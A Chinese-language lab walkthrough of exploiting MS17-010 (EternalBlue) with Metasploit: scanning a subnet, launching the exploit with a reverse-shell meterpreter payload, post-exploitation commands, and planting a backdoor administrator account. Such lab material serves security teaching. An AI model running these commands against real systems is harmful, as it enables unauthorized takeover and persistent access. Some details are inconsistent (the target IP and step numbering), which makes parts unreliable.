漏洞信息
漏洞名称:Windows server 2008系列缓冲区溢出漏洞
CVEID:2017-0144
漏洞类型:输入验证错误
威胁类型:远程
发布时间:2017-03-14
危害等级:高危
漏洞简介
Microsoft服务器消息块1.0(SMBv1)服务器处理某些请求的方式中存在一个远程执行代码漏洞。Windows Server 2008 SP2和R2 SP1以及Windows server 2016允许远程攻击者通过精心制作的数据包(也称为“Windows SMB远程代码执行漏洞”)在目标服务器上执行任意代码
漏洞受影响的版本
- Microsoft Windows XP Sp3 X86
- Microsoft Windows Vista Service Pack 2
- Microsoft Windows Server 2012 R2
- Microsoft Windows Server 2008 R2(用于基于x64的系统)SP1
- Microsoft Windows Server 2008(用于32位系统)SP2
- Microsoft Windows Server 2003 x64 SP2
- Microsoft Windows RT 8.1
漏洞攻击原理
Eternalblue通过TCP端口445
和139
来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows
,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、木马等恶意程序。
实验环境
- Kali x64(攻击机):192.168.206.131
- Windows 7(靶机):192.168.206.134
查看版本
开启网络共享(SMB协议)
关闭防火墙
测试攻击机与靶机的连通性
实验步骤
一、数据库配置
1、查看本机数据库是否开启
service postgresql status
2、打开本机数据库
service postgresql start
3、进行msfdb初始化,配置数据库连接密码等信息
msfdb init
二、进行漏洞扫描
1、启动msf
msfconsole
2、查看数据库状态
db_status
3、搜索ms17_010并使用smb_ms17_010模块进行漏洞扫描
search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
4、设置扫描的主机(或网段)以及扫描线程
set rhosts 192.168.206.133/24
set threads 30
7、执行Run进行扫描
run
三、利用ms17_010漏洞进行攻击
1、使用攻击模块
use exploit/windows/smb/ms17_010_eternalblue
2、设置目标主机
set rhost 192.168.206.133
3、设置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
4、设置监听主机
set lhost 192.168.206.131
5、执行exploit命令进行攻击
exploit
四、执行后续攻击
sysinfo //显示远程主机的系统信息
getuid //查看用户身份
screenshot //对远程主机当前屏幕进行截图
shell //获得shell控制台权限
进行后门植入(植入新的管理员账户)
net user jack 123 /add
net localgroup administrators jack /add
net user
net localgroup administrators
在靶机上查看验证结果
net user
net localgroup administrators